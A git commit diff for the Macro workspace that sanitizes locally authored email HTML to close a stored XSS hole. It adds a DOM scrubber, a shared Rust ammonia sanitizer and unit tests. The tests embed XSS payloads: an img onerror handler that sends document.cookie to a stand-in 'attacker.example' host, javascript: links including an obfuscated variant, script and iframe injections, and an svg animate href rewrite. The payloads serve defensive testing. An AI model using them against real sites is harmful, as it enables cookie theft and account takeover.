Macro is a unified workspace for teams: email, chat, docs, tasks, agents, calls, and CRM — @-linked together with shared AI memory.
TypeScript agentaiai-agentsall-in-onecrmcrm-systememaillinearmcpmessagingnotesnotionofficerustslackslack-alternativestartupstartup-toolstypescriptworkspace
fix(email): sanitize locally-authored html bodies before storage (#5711)
Evan Hutnikb03769287e5b
diff --git a/Cargo.lock b/Cargo.lockindex a117741982..371a5d6554 100644--- a/Cargo.lock+++ b/Cargo.lock@@ -5036,9 +5036,9 @@ checksum = "e079f19b08ca6239f47f8ba8509c11cf3ea30095831f7fed61441475edd8c449"name = "email_api_client"version = "0.1.0"dependencies = [- "ammonia","base64 0.22.1","chrono",+ "email_utils","encoding_rs","gmail_client","html-escape",@@ -5047,8 +5047,6 @@ dependencies = ["mail-builder","mailparse","models_email",- "regex",- "scraper","serde","serde_json","thiserror 2.0.18",@@ -5311,6 +5309,7 @@ dependencies = [name = "email_utils"version = "0.1.0"dependencies = [+ "ammonia","ego-tree","html2text","lazy_static",diff --git a/apps/web/src/features/block-email/util/prepareEmailBody.ts b/apps/web/src/features/block-email/util/prepareEmailBody.tsindex b949302582..dc67bfad65 100644--- a/apps/web/src/features/block-email/util/prepareEmailBody.ts+++ b/apps/web/src/features/block-email/util/prepareEmailBody.ts@@ -1,3 +1,4 @@+import { scrubActiveContent } from '@core/email';import { formatEmailDate } from '@core/util/date';import { $generateHtmlFromNodes, $generateNodesFromDOM } from '@lexical/html';import { $createQuoteNode } from '@lexical/rich-text';@@ -178,13 +179,16 @@ const $appendPreviousEmail = (} else {const parser = new DOMParser();const dom = parser.parseFromString(replyingToBodyHTML, 'text/html');+ // The quoted body ends up in the live document (adopted nodes, or a shadow+ // root inside the html-render node), so scrub it while it is still inert.+ scrubActiveContent(dom);// Forwards always embed the original as a non-editable HTML Render Node so// the recipient gets the exact original markup. For replies, a table is a// good indicator of content we can't convert into editable nodes correctly.const hasTable = Boolean(dom.querySelector('table'));if (replyType === 'forward' || hasTable) {const htmlNode = $createHtmlRenderNode({- html: replyingToBodyHTML,+ html: dom.documentElement.innerHTML,// Same branch the message view takes: personal or table-less emails// get theme-adapted colors, table-layout emails get a white paneladaptColors: Boolean(isPersonal) || !hasTable,@@ -356,6 +360,9 @@ function getAppendedReplyElement(replyingToBodyHTML,'text/html');+ // These nodes are adopted into the live document below, which starts image+ // loads — scrub before that, not after.+ scrubActiveContent(innerDom);// Extract style tags from head to preserve email styling for weirdo emails with initial style tags.const styleTags = innerDom.head?.querySelectorAll('style');styleTags?.forEach((style) => {diff --git a/apps/web/src/lib/core/email/index.ts b/apps/web/src/lib/core/email/index.tsindex f582ae5364..829568e7ea 100644--- a/apps/web/src/lib/core/email/index.ts+++ b/apps/web/src/lib/core/email/index.ts@@ -1,6 +1,8 @@// Email body parsing utilitiesexport {parseEmailContent,+ sanitizeEmailHtml,+ scrubActiveContent,stripColorSchemeMediaQueries,} from './parse-email-html';diff --git a/apps/web/src/lib/core/email/parse-email-html.ts b/apps/web/src/lib/core/email/parse-email-html.tsindex 9ac427ccd0..064e8bb231 100644--- a/apps/web/src/lib/core/email/parse-email-html.ts+++ b/apps/web/src/lib/core/email/parse-email-html.ts@@ -128,6 +128,84 @@ function parseGmailSignature(htmlElement: Element) {};}+/** Elements that can execute or embed active content, and are never legitimate+ * email body markup. `svg` and `math` are here because their subtrees can+ * mutate an attribute after we validate it (`<animate attributeName="href">`),+ * so a per-attribute check is not enough — matches the backend allowlist,+ * which drops both. */+const ACTIVE_ELEMENTS =+ 'script,iframe,frame,frameset,object,embed,applet,base,meta,link,noscript,template,svg,math';++/** Attributes carrying a URL that must be scheme-checked. */+const URL_ATTRIBUTES = ['href', 'src', 'action', 'background', 'poster'];++/** Schemes the backend sanitizer allows; anything else is dropped. */+const SAFE_SCHEMES = ['http:', 'https:', 'mailto:', 'cid:', 'tel:', 'sms:'];++function isSafeUrl(value: string): boolean {+ // Strip the whitespace and control characters browsers tolerate inside URLs+ // ("java\nscript:") before looking for a scheme.+ const trimmed = Array.from(value)+ .filter((char) => char.charCodeAt(0) > 0x20)+ .join('');+ const scheme = /^[a-z][a-z0-9+.-]*:/i.exec(trimmed)?.[0]?.toLowerCase();+ // No scheme means relative, anchor, or protocol-relative — all inert.+ if (!scheme) return true;+ // Inline images are inert as an <img> source; other data: URLs are not.+ if (trimmed.toLowerCase().startsWith('data:image/')) return true;+ return SAFE_SCHEMES.includes(scheme);+}++/**+ * Removes script-capable markup from a freshly parsed, still-inert document.+ *+ * Defence in depth for the `innerHTML` render path: the backend sanitizes every+ * body it writes today, but rows stored before that landed — and anything a+ * future write path forgets — would otherwise execute in the reader's page.+ * Must run on a `DOMParser` document, which neither executes scripts nor loads+ * resources; scrubbing after an `innerHTML` assignment is already too late+ * because `<img onerror>` fires on a detached element.+ */+export function scrubActiveContent(doc: Document) {+ for (const element of Array.from(doc.querySelectorAll(ACTIVE_ELEMENTS))) {+ element.remove();+ }++ for (const element of Array.from(doc.querySelectorAll('*'))) {+ for (const name of element.getAttributeNames()) {+ const lowered = name.toLowerCase();+ if (+ lowered.startsWith('on') ||+ lowered === 'srcdoc' ||+ lowered === 'formaction' ||+ lowered.endsWith(':href')+ ) {+ element.removeAttribute(name);+ continue;+ }+ if (+ URL_ATTRIBUTES.includes(lowered) &&+ !isSafeUrl(element.getAttribute(name) ?? '')+ ) {+ element.removeAttribute(name);+ }+ }+ }+}++/**+ * Parses `html`, scrubs it with {@link scrubActiveContent}, and re-serializes.+ *+ * For the paths that hand a stored body straight to another renderer (the+ * composer's quoted reply, the html-render node) rather than going through+ * {@link parseEmailContent}.+ */+export function sanitizeEmailHtml(html: string): string {+ const doc = new DOMParser().parseFromString(html, 'text/html');+ scrubActiveContent(doc);+ return doc.documentElement.innerHTML;+}+interface ParsedEmailContent {mainContent: string;signature: string | null;@@ -142,6 +220,10 @@ export function parseEmailContent(const parser = new DOMParser();const doc = parser.parseFromString(htmlContent, 'text/html');+ // Scrub while the document is still inert — everything below round-trips+ // through innerHTML on the live document.+ scrubActiveContent(doc);+const hasTable = Boolean(doc.querySelector('table'));// Extract style tags from head, stripping prefers-color-scheme media queriesdiff --git a/apps/web/src/lib/core/email/tests/parse-email-html.test.ts b/apps/web/src/lib/core/email/tests/parse-email-html.test.tsindex 8a080ab36c..3fc37abf7b 100644--- a/apps/web/src/lib/core/email/tests/parse-email-html.test.ts+++ b/apps/web/src/lib/core/email/tests/parse-email-html.test.ts@@ -1,5 +1,9 @@import { describe, expect, it } from 'vitest';-import { parseEmailContent, trimTrailingBrs } from '../parse-email-html';+import {+ parseEmailContent,+ sanitizeEmailHtml,+ trimTrailingBrs,+} from '../parse-email-html';describe('trimTrailingBrs', () => {it('removes trailing br elements', () => {@@ -141,3 +145,64 @@ describe('parseEmailContent', () => {expect(result.hasTable).toBe(false);});});++describe('active content scrubbing', () => {+ it('strips event handlers from the rendered body', () => {+ const html =+ '<p>hi</p><img src="x" onerror="fetch(\'https://attacker.example/\')">';+ const result = parseEmailContent(html);+ expect(result.mainContent).toContain('<p>hi</p>');+ expect(result.mainContent).not.toContain('onerror');+ expect(result.mainContent).not.toContain('attacker.example');+ });++ it('strips script-capable elements', () => {+ const html =+ '<p>hi</p><script>steal()</script><iframe src="https://evil.test"></iframe>';+ const result = parseEmailContent(html);+ expect(result.mainContent).toContain('<p>hi</p>');+ expect(result.mainContent).not.toContain('<script');+ expect(result.mainContent).not.toContain('steal()');+ expect(result.mainContent).not.toContain('<iframe');+ });++ it('drops dangerous url schemes but keeps the ones emails need', () => {+ const html =+ '<a href="javascript:alert(1)">js</a>' ++ '<a href="java\u0000script:alert(1)">obfuscated</a>' ++ '<a href="https://ok.example/">ok</a>' ++ '<a href="mailto:[email protected]">mail</a>' ++ '<img src="cid:inline-1">' ++ '<img src="/relative.png">';+ const result = parseEmailContent(html, false, false);+ expect(result.mainContent).not.toContain('javascript:');+ expect(result.mainContent).toContain('https://ok.example/');+ expect(result.mainContent).toContain('mailto:[email protected]');+ expect(result.mainContent).toContain('cid:inline-1');+ expect(result.mainContent).toContain('/relative.png');+ });++ it('removes svg and mathml subtrees', () => {+ // An animation element can rewrite an href after a per-attribute check has+ // already passed it, so the whole subtree has to go.+ const html =+ '<p>hi</p>' ++ '<svg><a href="https://ok.example/"><animate attributeName="href" to="javascript:alert(1)"/></a></svg>' ++ '<math><mtext><a href="https://ok.example/">x</a></mtext></math>';+ const result = parseEmailContent(html, false, false);+ expect(result.mainContent).toContain('<p>hi</p>');+ expect(result.mainContent).not.toContain('<svg');+ expect(result.mainContent).not.toContain('<animate');+ expect(result.mainContent).not.toContain('javascript:');+ expect(result.mainContent).not.toContain('<math');+ });++ it('sanitizeEmailHtml keeps head styles while scrubbing', () => {+ const html =+ '<html><head><style>.a{color:red}</style></head><body><p onclick="x()">hi</p></body></html>';+ const sanitized = sanitizeEmailHtml(html);+ expect(sanitized).toContain('.a{color:red}');+ expect(sanitized).toContain('hi');+ expect(sanitized).not.toContain('onclick');+ });+});diff --git a/apps/web/src/lib/service-clients/service-email/generated/schemas/apiDraftInput.ts b/apps/web/src/lib/service-clients/service-email/generated/schemas/apiDraftInput.tsindex e6de3c933a..75d5849b1c 100644--- a/apps/web/src/lib/service-clients/service-email/generated/schemas/apiDraftInput.ts+++ b/apps/web/src/lib/service-clients/service-email/generated/schemas/apiDraftInput.ts@@ -24,7 +24,7 @@ import type { ApiDraftInputTo } from './apiDraftInputTo';export interface ApiDraftInput {/** Bcc recipients. */bcc?: ApiDraftInputBcc;- /** HTML body (base64 URL_SAFE_NO_PAD encoded). */+ /** HTML body (base64 URL_SAFE_NO_PAD encoded). Sanitized before storage. */body_html?: ApiDraftInputBodyHtml;/** Macro body format. */body_macro?: ApiDraftInputBodyMacro;diff --git a/apps/web/src/lib/service-clients/service-email/generated/schemas/apiDraftInputBodyHtml.ts b/apps/web/src/lib/service-clients/service-email/generated/schemas/apiDraftInputBodyHtml.tsindex 056ae6d9fb..0fe486a77e 100644--- a/apps/web/src/lib/service-clients/service-email/generated/schemas/apiDraftInputBodyHtml.ts+++ b/apps/web/src/lib/service-clients/service-email/generated/schemas/apiDraftInputBodyHtml.ts@@ -6,6 +6,6 @@*//**- * HTML body (base64 URL_SAFE_NO_PAD encoded).+ * HTML body (base64 URL_SAFE_NO_PAD encoded). Sanitized before storage.*/export type ApiDraftInputBodyHtml = string | null;diff --git a/apps/web/src/lib/service-clients/service-email/openapi.json b/apps/web/src/lib/service-clients/service-email/openapi.jsonindex 2d61e448a6..99c4f64bd3 100644--- a/apps/web/src/lib/service-clients/service-email/openapi.json+++ b/apps/web/src/lib/service-clients/service-email/openapi.json@@ -3563,7 +3563,7 @@},"body_html": {"type": ["string", "null"],- "description": "HTML body (base64 URL_SAFE_NO_PAD encoded)."+ "description": "HTML body (base64 URL_SAFE_NO_PAD encoded). Sanitized before storage."},"body_macro": {"type": ["string", "null"],diff --git a/crates/email/src/domain/models/draft.rs b/crates/email/src/domain/models/draft.rsindex 42174375af..4d5475032d 100644--- a/crates/email/src/domain/models/draft.rs+++ b/crates/email/src/domain/models/draft.rs@@ -28,7 +28,8 @@ pub struct CreateDraftInput {pub bcc: Vec<ContactInfo>,/// Plain text body.pub body_text: Option<String>,- /// HTML body (base64 encoded from the client, decoded before storage).+ /// HTML body (base64 encoded from the client; decoded and sanitized+ /// before storage).pub body_html: Option<String>,/// Macro-specific body format.pub body_macro: Option<String>,diff --git a/crates/email/src/domain/service/draft.rs b/crates/email/src/domain/service/draft.rsindex f69637b096..90f3cede3c 100644--- a/crates/email/src/domain/service/draft.rs+++ b/crates/email/src/domain/service/draft.rs@@ -12,6 +12,9 @@ use uuid::Uuid;use super::EmailServiceImpl;+#[cfg(test)]+mod test;+impl<T, U, E, CS, Eam, B> EmailServiceImpl<T, U, E, CS, Eam, B>whereT: EmailRepo,@@ -33,8 +36,9 @@ where/// Shared pipeline for creating a draft or a sent message.///- /// Validates existing message / reply-to, decodes HTML body, upserts contacts,- /// builds thread if needed, and inserts the message row via the repo layer.+ /// Validates existing message / reply-to, decodes and sanitizes the HTML+ /// body, upserts contacts, builds thread if needed, and inserts the message+ /// row via the repo layer./// `is_draft` controls the `is_draft` flag persisted on the message row.#[tracing::instrument(err, skip(self, link, accessible_inboxes, input))]pub(crate) async fn prepare_and_insert_db_message(@@ -53,7 +57,7 @@ whereself.validate_replying_to(link_id, &accessible_link_ids, &mut input).await?;- decode_html_body(&mut input)?;+ decode_and_sanitize_html_body(&mut input)?;// On send (not drafts), inject the inbox's signature into the body per// the user's settings + per-message override. Best-effort: never blocks@@ -342,11 +346,19 @@ where}}-fn decode_html_body(input: &mut CreateDraftInput) -> Result<(), EmailErr> {+/// Decodes the base64 `body_html` and sanitizes it against the shared email+/// allowlist.+///+/// Sanitizing here is what lets the column be called `body_html_sanitized`: the+/// body is client-supplied, and a stored thread is rendered via `innerHTML` by+/// every user who can see it, so an unsanitized locally-authored body is stored+/// XSS against anyone the thread is shared with. Runs before signature+/// injection so the `.macro-email-signature` marker the server adds survives.+fn decode_and_sanitize_html_body(input: &mut CreateDraftInput) -> Result<(), EmailErr> {if let Some(ref html_body) = input.body_html {let decoded = URL_SAFE_NO_PAD.decode(html_body.as_bytes())?;let decoded_str = String::from_utf8(decoded)?;- input.body_html = Some(decoded_str);+ input.body_html = Some(email_utils::sanitize_authored_html(&decoded_str));}Ok(())}diff --git a/crates/email/src/domain/service/draft/test.rs b/crates/email/src/domain/service/draft/test.rsnew file mode 100644index 0000000000..c92e0ceeb0--- /dev/null+++ b/crates/email/src/domain/service/draft/test.rs@@ -0,0 +1,66 @@+use super::*;+use base64::engine::general_purpose::URL_SAFE_NO_PAD;++fn input_with_body_html(html: &str) -> CreateDraftInput {+ CreateDraftInput {+ db_id: None,+ provider_id: None,+ replying_to_id: None,+ provider_thread_id: None,+ thread_db_id: None,+ subject: String::new(),+ to: vec![],+ cc: vec![],+ bcc: vec![],+ body_text: None,+ body_html: Some(URL_SAFE_NO_PAD.encode(html)),+ body_macro: None,+ headers_json: None,+ send_time: None,+ include_signature: None,+ actor: None,+ }+}++#[test]+fn sanitizes_the_decoded_body() {+ // Stored XSS: this body is rendered via innerHTML by every user the thread+ // is shared with, so the handler must not survive the round trip.+ let mut input = input_with_body_html(+ r#"<body><p>hello</p><img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)"></body>"#,+ );++ decode_and_sanitize_html_body(&mut input).expect("decodes");++ let body = input.body_html.expect("body kept");+ assert!(body.contains("<p>hello</p>"), "got: {body}");+ assert!(+ !body.to_ascii_lowercase().contains("onerror"),+ "got: {body}"+ );+ assert!(!body.contains("attacker.example"), "got: {body}");+}++#[test]+fn keeps_signature_marker_so_injection_stays_idempotent() {+ // Sanitization runs before maybe_inject_signature; if the marker class were+ // stripped, has_signature would miss a client-baked signature and we would+ // append a second one.+ let mut input =+ input_with_body_html(r#"<p>hi</p><div class="macro-email-signature"><p>Regards</p></div>"#);++ decode_and_sanitize_html_body(&mut input).expect("decodes");++ let body = input.body_html.expect("body kept");+ assert!(super::super::signature::has_signature(&body), "got: {body}");+}++#[test]+fn missing_body_html_is_left_alone() {+ let mut input = input_with_body_html("<p>x</p>");+ input.body_html = None;++ decode_and_sanitize_html_body(&mut input).expect("decodes");++ assert!(input.body_html.is_none());+}diff --git a/crates/email/src/inbound/axum/api_types/draft.rs b/crates/email/src/inbound/axum/api_types/draft.rsindex 502de27eb6..2cf1ce65ac 100644--- a/crates/email/src/inbound/axum/api_types/draft.rs+++ b/crates/email/src/inbound/axum/api_types/draft.rs@@ -60,7 +60,7 @@ pub struct ApiDraftInput {pub bcc: Option<Vec<ApiDraftContactInfo>>,/// Plain text body.pub body_text: Option<String>,- /// HTML body (base64 URL_SAFE_NO_PAD encoded).+ /// HTML body (base64 URL_SAFE_NO_PAD encoded). Sanitized before storage.pub body_html: Option<String>,/// Macro body format.pub body_macro: Option<String>,diff --git a/crates/email_api_client/Cargo.toml b/crates/email_api_client/Cargo.tomlindex f46425b908..8414edeba2 100644--- a/crates/email_api_client/Cargo.toml+++ b/crates/email_api_client/Cargo.toml@@ -9,7 +9,6 @@ default = []ports = []outbound-gmail = ["ports",- "dep:ammonia","dep:base64","dep:encoding_rs","dep:gmail_client",@@ -17,15 +16,13 @@ outbound-gmail = ["dep:http","dep:lol_html","dep:mailparse",- "dep:regex",- "dep:scraper","dep:serde_json",][dependencies]-ammonia = { workspace = true, optional = true }base64 = { workspace = true, optional = true }chrono = { workspace = true }+email_utils = { path = "../email_utils" }encoding_rs = { workspace = true, optional = true }gmail_client = { path = "../gmail_client", optional = true }html-escape = { workspace = true, optional = true }@@ -34,8 +31,6 @@ lol_html = { workspace = true, optional = true }mail-builder = "0.4.3"mailparse = { version = "0.16.1", optional = true }models_email = { path = "../models_email" }-regex = { workspace = true, optional = true }-scraper = { workspace = true, optional = true }serde = { workspace = true }serde_json = { workspace = true, optional = true }thiserror = { workspace = true }diff --git a/crates/email_api_client/src/outbound/gmail/convert/mod.rs b/crates/email_api_client/src/outbound/gmail/convert/mod.rsindex 6cfebd13e0..2d878c4613 100644--- a/crates/email_api_client/src/outbound/gmail/convert/mod.rs+++ b/crates/email_api_client/src/outbound/gmail/convert/mod.rs@@ -5,7 +5,6 @@ mod history;mod label;mod message;mod payload;-pub(crate) mod sanitizer;mod thread;pub(crate) use contact::map_person_to_contact;diff --git a/crates/email_api_client/src/outbound/gmail/convert/payload.rs b/crates/email_api_client/src/outbound/gmail/convert/payload.rsindex 88023cc6c5..26e5cb01b4 100644--- a/crates/email_api_client/src/outbound/gmail/convert/payload.rs+++ b/crates/email_api_client/src/outbound/gmail/convert/payload.rs@@ -7,8 +7,8 @@ use models_email::email::service;use models_email::gmail::{Header, MessagePart};use super::message::{find_header, parse_address_header};-use super::sanitizer::sanitize_email_html;use crate::domain::models::EmailApiError;+use email_utils::sanitize_email_html;#[derive(Debug, Default)]pub(super) struct ParsedGmailPayload {diff --git a/crates/email_api_client/src/outbound/gmail/mod.rs b/crates/email_api_client/src/outbound/gmail/mod.rsindex 553d31ae85..2e53e51fff 100644--- a/crates/email_api_client/src/outbound/gmail/mod.rs+++ b/crates/email_api_client/src/outbound/gmail/mod.rs@@ -5,7 +5,6 @@ mod blocklist;mod contacts;pub(crate) mod convert;-pub use convert::sanitizer::{sanitize_email_html, sanitize_html_fragment};mod labels;mod messages;mod send;diff --git a/crates/email_utils/Cargo.toml b/crates/email_utils/Cargo.tomlindex a656dc1d35..d21dc0bc07 100644--- a/crates/email_utils/Cargo.toml+++ b/crates/email_utils/Cargo.toml@@ -5,6 +5,7 @@ publish = falseedition = "2024"[dependencies]+ammonia = { workspace = true }ego-tree = { workspace = true }html2text = "0.16.5"lazy_static = { workspace = true }diff --git a/crates/email_utils/src/lib.rs b/crates/email_utils/src/lib.rsindex a14d2f2df9..aaccf707d5 100644--- a/crates/email_utils/src/lib.rs+++ b/crates/email_utils/src/lib.rs@@ -2,7 +2,9 @@ pub mod body_parsed;pub mod body_replyless;pub mod generic_email;pub mod normalize_contact;+pub mod sanitizer;pub mod token_cache_key;pub use generic_email::{dedupe_emails, is_generic_email};pub use normalize_contact::normalize_contact_name;+pub use sanitizer::{sanitize_authored_html, sanitize_email_html, sanitize_html_fragment};diff --git a/crates/email_api_client/src/outbound/gmail/convert/sanitizer.rs b/crates/email_utils/src/sanitizer.rssimilarity index 83%rename from crates/email_api_client/src/outbound/gmail/convert/sanitizer.rsrename to crates/email_utils/src/sanitizer.rsindex e52151654c..a82a6a2e5b 100644--- a/crates/email_api_client/src/outbound/gmail/convert/sanitizer.rs+++ b/crates/email_utils/src/sanitizer.rs@@ -1,3 +1,11 @@+//! Shared HTML sanitization for email bodies.+//!+//! Every HTML body that reaches the `body_html_sanitized` column must pass+//! through one of these entry points: [`sanitize_email_html`] for+//! provider-fetched messages, [`sanitize_authored_html`] for bodies composed in+//! Macro, and [`sanitize_html_fragment`] for standalone fragments such as+//! signatures.+use ammonia::Builder;use regex::Regex;use scraper::{Html, Selector};@@ -41,6 +49,17 @@ pub fn sanitize_html_fragment(raw_html: &str) -> String {sanitize_style_blocks(&CLEANER.clean(raw_html).to_string())}+/// Sanitizes an HTML body composed inside Macro (draft save / send).+///+/// Same allowlist as provider-fetched mail, plus the editor's own round-trip+/// markers (`data-*` attributes, `<li value>`, checklist tags) so reopening a+/// draft still rebuilds mentions, indentation, and list state. Those carry no+/// script surface — the point is that locally-authored HTML is no more trusted+/// than inbound HTML: it is attacker-controlled the moment a thread is shared.+pub fn sanitize_authored_html(raw_html: &str) -> String {+ sanitize_style_blocks(&AUTHORED_CLEANER.clean(raw_html).to_string())+}+/// Extracts all <style> tags and the <body> tag from a parsed document,/// wherever they might be, and reconstructs a clean HTML string.fn find_and_reconstruct(document: &Html) -> Option<String> {@@ -135,7 +154,12 @@ fn filter_css_declarations(declarations: &str) -> String {}// create a single time-static CLEANER: LazyLock<Builder<'static>> = LazyLock::new(|| {+static CLEANER: LazyLock<Builder<'static>> = LazyLock::new(|| build_cleaner(false));++/// Cleaner for locally-authored bodies; see [`sanitize_authored_html`].+static AUTHORED_CLEANER: LazyLock<Builder<'static>> = LazyLock::new(|| build_cleaner(true));++fn build_cleaner(allow_editor_round_trip: bool) -> Builder<'static> {let mut cleaner = Builder::default();// Keep <style> elements and their text. NOTE: ammonia's CSS filtering@@ -258,8 +282,19 @@ static CLEANER: LazyLock<Builder<'static>> = LazyLock::new(|| {allowed_schemes.insert("tel");allowed_schemes.insert("sms");cleaner.url_schemes(allowed_schemes);++ if allow_editor_round_trip {+ // `data-*` attributes are inert, and the composer round-trips through+ // them: document mentions, `data-lexical-indent`, html-render markers.+ cleaner.add_generic_attribute_prefixes(&["data-"]);+ // Explicit list numbering and Lexical's checklist marker.+ cleaner.add_tag_attributes("li", &["value"]);+ cleaner.add_tag_attributes("ul", &["__lexicalListType"]);+ cleaner.add_tag_attributes("ol", &["__lexicalListType"]);+ }+cleaner-});+}/// a wild guess based on what the internet told mefn get_safe_css_properties() -> HashSet<&'static str> {@@ -293,6 +328,22 @@ fn get_safe_css_properties() -> HashSet<&'static str> {"margin-right","margin-bottom","margin-left",+ // Logical equivalents of the box properties above. The editor emits+ // `padding-inline-start` for indentation, so dropping these silently+ // flattens indented paragraphs and nested lists.+ "padding-inline",+ "padding-inline-start",+ "padding-inline-end",+ "padding-block",+ "padding-block-start",+ "padding-block-end",+ "margin-inline",+ "margin-inline-start",+ "margin-inline-end",+ "margin-block",+ "margin-block-start",+ "margin-block-end",+ "text-indent","border","border-top","border-right",diff --git a/crates/email_api_client/src/outbound/gmail/convert/sanitizer/test.rs b/crates/email_utils/src/sanitizer/test.rssimilarity index 58%rename from crates/email_api_client/src/outbound/gmail/convert/sanitizer/test.rsrename to crates/email_utils/src/sanitizer/test.rsindex ab1831f149..24b0575091 100644--- a/crates/email_api_client/src/outbound/gmail/convert/sanitizer/test.rs+++ b/crates/email_utils/src/sanitizer/test.rs@@ -103,3 +103,64 @@ fn fragments_are_cleaned_without_body_reconstruction() {assert!(sanitized.contains("color:red;"));assert!(!sanitized.contains("position"));}++#[test]+fn authored_html_strips_event_handler_payloads() {+ // The reported vector: a locally-composed body that reaches+ // `body_html_sanitized` verbatim and executes on every reader's page.+ let authored = r#"<body><p>hi</p><img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)"></body>"#;++ let sanitized = sanitize_authored_html(authored);++ assert!(sanitized.contains("<p>hi</p>"));+ assert!(!sanitized.to_ascii_lowercase().contains("onerror"));+ assert!(!sanitized.contains("attacker.example"));+}++#[test]+fn authored_html_strips_scripts_and_dangerous_schemes() {+ let authored = r#"<div>text</div>+ <script>steal()</script>+ <a href="javascript:alert(1)">js</a>+ <iframe src="https://evil.test"></iframe>+ <style>.a{position:fixed;color:red}</style>"#;++ let sanitized = sanitize_authored_html(authored);++ assert!(sanitized.contains("<div>text</div>"));+ for vector in ["<script", "steal()", "javascript:", "<iframe", "position"] {+ assert!(!sanitized.contains(vector), "{vector} must be removed");+ }+ assert!(sanitized.contains("color:red;"));+}++#[test]+fn authored_html_keeps_editor_round_trip_markers() {+ // Reopening a draft rebuilds Lexical nodes from these; dropping them+ // silently degrades mentions, indentation, and list state.+ let authored = r#"<p style="padding-inline-start:40px" data-lexical-indent="1">indented</p>+ <a href="https://app.macro.com/app/doc/1" data-document-mention="true" data-document-id="1" data-document-name="Spec" data-block-name="doc">Spec</a>+ <div class="macro_quote"><p>quoted</p></div>+ <ol><li value="3">three</li></ol>"#;++ let sanitized = sanitize_authored_html(authored);++ assert!(sanitized.contains(r#"data-lexical-indent="1""#));+ assert!(sanitized.contains("padding-inline-start:40px"));+ assert!(sanitized.contains(r#"data-document-mention="true""#));+ assert!(sanitized.contains(r#"data-document-id="1""#));+ assert!(sanitized.contains(r#"class="macro_quote""#));+ assert!(sanitized.contains(r#"value="3""#));+}++#[test]+fn provider_fetched_html_does_not_gain_data_attributes() {+ // Only the authored path opts into `data-*`; inbound mail must not be able+ // to forge the editor's round-trip markers.+ let inbound = r#"<body><a href="https://evil.test" data-document-mention="true" data-document-id="1">x</a></body>"#;++ let sanitized = sanitize_email_html(inbound);++ assert!(!sanitized.contains("data-document-mention"));+ assert!(!sanitized.contains("data-document-id"));+}diff --git a/packages/sdk/generated/email/types.gen.ts b/packages/sdk/generated/email/types.gen.tsindex 64a0707333..1b97736b5b 100644--- a/packages/sdk/generated/email/types.gen.ts+++ b/packages/sdk/generated/email/types.gen.ts@@ -149,7 +149,7 @@ export type ApiDraftInput = {*/bcc?: Array<ApiDraftContactInfo> | null;/**- * HTML body (base64 URL_SAFE_NO_PAD encoded).+ * HTML body (base64 URL_SAFE_NO_PAD encoded). Sanitized before storage.*/body_html?: string | null;/**diff --git a/packages/sdk/specs/email.json b/packages/sdk/specs/email.jsonindex 2d61e448a6..99c4f64bd3 100644--- a/packages/sdk/specs/email.json+++ b/packages/sdk/specs/email.json@@ -3563,7 +3563,7 @@},"body_html": {"type": ["string", "null"],- "description": "HTML body (base64 URL_SAFE_NO_PAD encoded)."+ "description": "HTML body (base64 URL_SAFE_NO_PAD encoded). Sanitized before storage."},"body_macro": {"type": ["string", "null"],diff --git a/services/email_service/src/api/email/settings/patch.rs b/services/email_service/src/api/email/settings/patch.rsindex eea85fd010..a74385852d 100644--- a/services/email_service/src/api/email/settings/patch.rs+++ b/services/email_service/src/api/email/settings/patch.rs@@ -3,8 +3,8 @@ use axum::extract::State;use axum::http::StatusCode;use axum::response::{IntoResponse, Response};use axum::{Extension, Json};-use email_api_client::outbound::gmail::sanitize_html_fragment;use email_service::util::process_pre_insert::sfs_map;+use email_utils::sanitize_html_fragment;use model::response::ErrorResponse;use models_email::service::link::Link;use models_email::{api, service};